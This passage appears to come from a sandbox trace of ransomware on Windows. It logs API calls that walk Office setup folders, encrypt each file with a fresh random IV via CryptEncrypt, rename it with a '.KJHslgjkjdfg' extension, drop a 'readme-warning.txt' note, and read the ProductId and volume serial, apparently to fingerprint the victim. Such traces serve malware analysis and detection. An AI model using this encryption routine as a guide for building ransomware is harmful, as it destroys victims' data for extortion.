lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x251f, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x251f, lpOverlapped=0x0) returned 1 [0170.584] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x2520, dwBufLen=0x2520 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x2520) returned 1 [0170.585] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.585] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x2520, lpOverlapped=0x0) returned 1 [0170.585] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.585] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x25f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.585] SetEndOfFile (hFile=0x118) returned 1 [0170.587] GetProcessHeap () returned 0x2ef0000 [0170.587] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.587] GetProcessHeap () returned 0x2ef0000 [0170.587] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.kjhslgjkjdfg")) returned 1 [0170.588] CloseHandle (hObject=0x118) returned 1 [0170.588] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0170.588] GetProcessHeap () returned 0x2ef0000 [0170.588] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.588] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.588] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.588] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.588] GetProcessHeap () returned 0x2ef0000 [0170.588] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.588] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.588] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.588] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.588] GetProcessHeap () returned 0x2ef0000 [0170.588] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.588] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.588] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.589] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.589] GetProcessHeap () returned 0x2ef0000 [0170.589] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.589] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.589] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.589] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.589] GetProcessHeap () returned 0x2ef0000 [0170.589] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.589] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.589] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.589] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.589] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.589] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.589] RegCloseKey (hKey=0x118) returned 0x0 [0170.589] GetProcessHeap () returned 0x2ef0000 [0170.589] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.589] GetProcessHeap () returned 0x2ef0000 [0170.589] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.589] GetProcessHeap () returned 0x2ef0000 [0170.589] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.589] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.589] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.589] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.589] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.590] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.590] GetProcessHeap () returned 0x2ef0000 [0170.590] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.590] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.590] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.590] GetProcessHeap () returned 0x2ef0000 [0170.590] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.590] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\readme-warning.txt") returned 110 [0170.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.593] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.596] CloseHandle (hObject=0x118) returned 1 [0170.597] GetProcessHeap () returned 0x2ef0000 [0170.597] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.597] GetProcessHeap () returned 0x2ef0000 [0170.597] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.597] GetProcessHeap () returned 0x2ef0000 [0170.597] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.597] GetProcessHeap () returned 0x2ef0000 [0170.597] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.597] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.597] GetProcessHeap () returned 0x2ef0000 [0170.597] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.597] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0170.597] GetProcessHeap () returned 0x2ef0000 [0170.597] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xbe) returned 0x2f14588 [0170.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.598] GetProcessHeap () returned 0x2ef0000 [0170.598] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.598] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0170.598] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0170.598] GetProcessHeap () returned 0x2ef0000 [0170.598] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c0) returned 0x2f47728 [0170.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.599] GetProcessHeap () returned 0x2ef0000 [0170.599] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.599] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.599] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.599] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xf, lpOverlapped=0x0) returned 1 [0170.601] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.601] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.601] GetProcessHeap () returned 0x2ef0000 [0170.601] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.601] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.601] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.601] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.601] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.602] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.602] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.602] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.602] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.602] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.602] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.602] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.602] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5061, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x5061, lpOverlapped=0x0) returned 1 [0170.603] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x5070, dwBufLen=0x5070 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x5070) returned 1 [0170.603] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.603] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x5070, lpOverlapped=0x0) returned 1 [0170.603] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.603] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x5134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.603] SetEndOfFile (hFile=0x118) returned 1 [0170.606] GetProcessHeap () returned 0x2ef0000 [0170.606] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.606] GetProcessHeap () returned 0x2ef0000 [0170.606] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.606] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.kjhslgjkjdfg")) returned 1 [0170.608] CloseHandle (hObject=0x118) returned 1 [0170.608] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0170.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.609] GetProcessHeap () returned 0x2ef0000 [0170.609] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.609] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.609] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.609] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xd, lpOverlapped=0x0) returned 1 [0170.612] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.612] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.612] GetProcessHeap () returned 0x2ef0000 [0170.612] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.612] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0170.612] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.612] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0170.612] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.612] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.612] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.612] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.612] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.613] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.613] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.613] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.613] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2213, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x2213, lpOverlapped=0x0) returned 1 [0170.614] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x2220, dwBufLen=0x2220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x2220) returned 1 [0170.614] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.614] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x2220, lpOverlapped=0x0) returned 1 [0170.614] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.614] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x22f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.614] SetEndOfFile (hFile=0x118) returned 1 [0170.616] GetProcessHeap () returned 0x2ef0000 [0170.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.616] GetProcessHeap () returned 0x2ef0000 [0170.617] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.kjhslgjkjdfg")) returned 1 [0170.631] CloseHandle (hObject=0x118) returned 1 [0170.631] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0170.631] GetProcessHeap () returned 0x2ef0000 [0170.631] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.631] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.631] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, 